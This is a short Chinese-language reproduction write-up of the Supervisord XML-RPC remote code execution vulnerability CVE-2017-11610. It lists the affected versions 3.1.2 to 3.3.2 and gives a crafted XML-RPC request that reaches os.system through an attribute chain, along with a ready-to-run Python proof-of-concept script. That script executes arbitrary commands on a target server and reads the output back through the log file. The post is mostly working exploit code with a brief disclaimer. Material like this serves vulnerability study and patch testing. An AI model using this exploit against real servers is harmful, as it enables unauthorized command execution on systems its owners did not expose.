Supervisord 远程代码执行漏洞(CVE-2017-11610)漏洞复现
漏洞信息
Supervisord是使用Python 开发的进程管理程序,Supervisord能够将命令行进程或服务变为后台运行的deamon(守护进程)。Supervisord拥有监控进程状态的功能,在进程异常退出时能够自动重启进程。
Supervisord在配置了Web接口后,服务器会启动一个XMLRPC服务器,端口号为9001,利用本漏洞,在获取接口访问权限后,远程攻击者可利用发送一段精心构造的请求,导致可在服务器执行任意代码。
漏洞影响版本
Supervisord 3.1.2 <= Version <= 3.3.2
开启环境
抓包 发送到重发器 添加一下代码
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
http头改成POST /RPC2
发送
运行poc.py执行代码执行
poc.py代码
#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)
logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)
print(result[len(old):])
www.idc126.com
注:本文只提供指数分享,请勿用作非法用途
执行漏洞(10)漏洞复现(18)远程代码(8)